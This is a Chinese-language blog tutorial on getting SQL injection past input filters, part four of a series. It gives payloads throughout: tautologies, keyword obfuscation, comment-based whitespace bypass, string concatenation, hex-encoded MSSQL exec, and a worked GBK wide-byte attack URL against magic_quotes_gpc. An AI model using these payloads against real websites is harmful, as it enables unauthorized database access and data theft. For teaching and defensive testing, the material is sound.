sql注入解析(四)避開過濾

web應用程序會對用戶的輸入進行驗證,過濾其中的一些關鍵字,這種過濾咱們能夠試着用下面的方法避開。
一、 不使用被過濾的字符: 好比注入一個數字數據,就不須要使用單引號;' or 1=1--,若是註釋字符被過濾,咱們能夠這樣寫 ' or '1'='1 。
二、 避免使用簡單確認: 若是select關鍵字被過濾,咱們能夠嘗試用下面的方法書寫select,SeleCT; selselectect;或者使用URLencode,ascii編碼,%53%45%4c%45%43%54(ascii).
三、 使用sql註釋繞過: 若是空格被過濾了,咱們可使用sql語言的註釋。select/**/username,password/**/from/**/user--, mysql中甚至能夠這樣 sele/**/ct username fr/**/om user--.
四、 替換被阻止的字符串: 要表示admin,oracle中能夠用 'adm'||'in' ,  mysql中能夠用 concat('adm','in'); mssql中能夠用:'adm'+'in'.
數據庫語法中有不少字符串操做函數,能夠用來建立被過濾的字符串。Oracle中包含,CHR(ascii碼轉化)、REVERSE(字符串反轉),TRANSLATE(高級的字符串替換),REPLACE,SUBSTR函數。
mssql數據庫可使用 exec('select * from user'), 這條命令能夠變形爲 exec('sele'+'ct * from user) ,還能夠創建一個十六進制的編碼的字符串,經過exec來執行,從而避開某些關鍵字甚至是單引號的過濾。如:declear @q varchar(5000); select @q=0x73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外若是網站是gbk編碼的,也能夠利用漢字的編碼避開注入:
在magic_quotes_gpc=On的狀況下,提交的參數中若是帶有單引號’,就會被自動轉義’,使不少注入攻擊無效,
GBK雙字節編碼:一個漢字用兩個字節表示,首字節對應0×81-0xFE,尾字節對應0×40-0xFE(除0×7F),恰好涵蓋了轉義符號對應的編碼0×5C。
0xD50×5C 對應了漢字「誠」,URL編碼用百分號加字符的16進制編碼表示字符,因而 %d5%5c 經URL解碼後爲「誠」。
下面分析攻擊過程:
訪問 http://localhost/test.php?username=test%d5′%20or%201=1%23&pwd=test
通過瀏覽器編碼,username參數值爲(單引號的編碼0×27)
username=test%d5%27%20or%201=1%23
通過php的url解碼
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (爲了便於閱讀,在字符串與16進制編碼之間加了空格)
通過PHP的GPC自動轉義變成(單引號0×27被轉義成’對應的編碼0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
由於在數據庫初始化鏈接的時候SET NAMES ‘gbk’,0xd50×5c解碼後爲誠,0×27解碼爲’,0×20爲空格,0×23爲mysql的註釋符#
上面的SQL語句最終爲: SELECT * FROM user WHERE username=’test誠’ or 1=1#’ and password=’test’;
註釋符#後面的字符串已經無效,等價於
SELECT * FROM user WHERE username=’test誠’ or 1=1;
條件變成永真,成功注入。
補充:
0xD50×5C不是惟一能夠繞過單引號轉義的字符,0×81-0xFE開頭+0×5C的字符應該均可以;
根據utf8的編碼範圍,無此問題;
這種變換在xss等領域也能夠應用,假如服務端是GBK編碼格式。
摘自:http://dzxx.sinaapp.com/archives/34/
本文是由youthflies發表在易蹤網(yeetrack.com)上的原創文章,原文地址爲:http://www.yeetrack.com/?p=65
php

sql注入解析(一)基本語法

 

sql注入解析(二)執行注入

 

sql注入解析(三)數據庫類型

 

sql注入解析(四)避開過濾

相關文章
相關標籤/搜索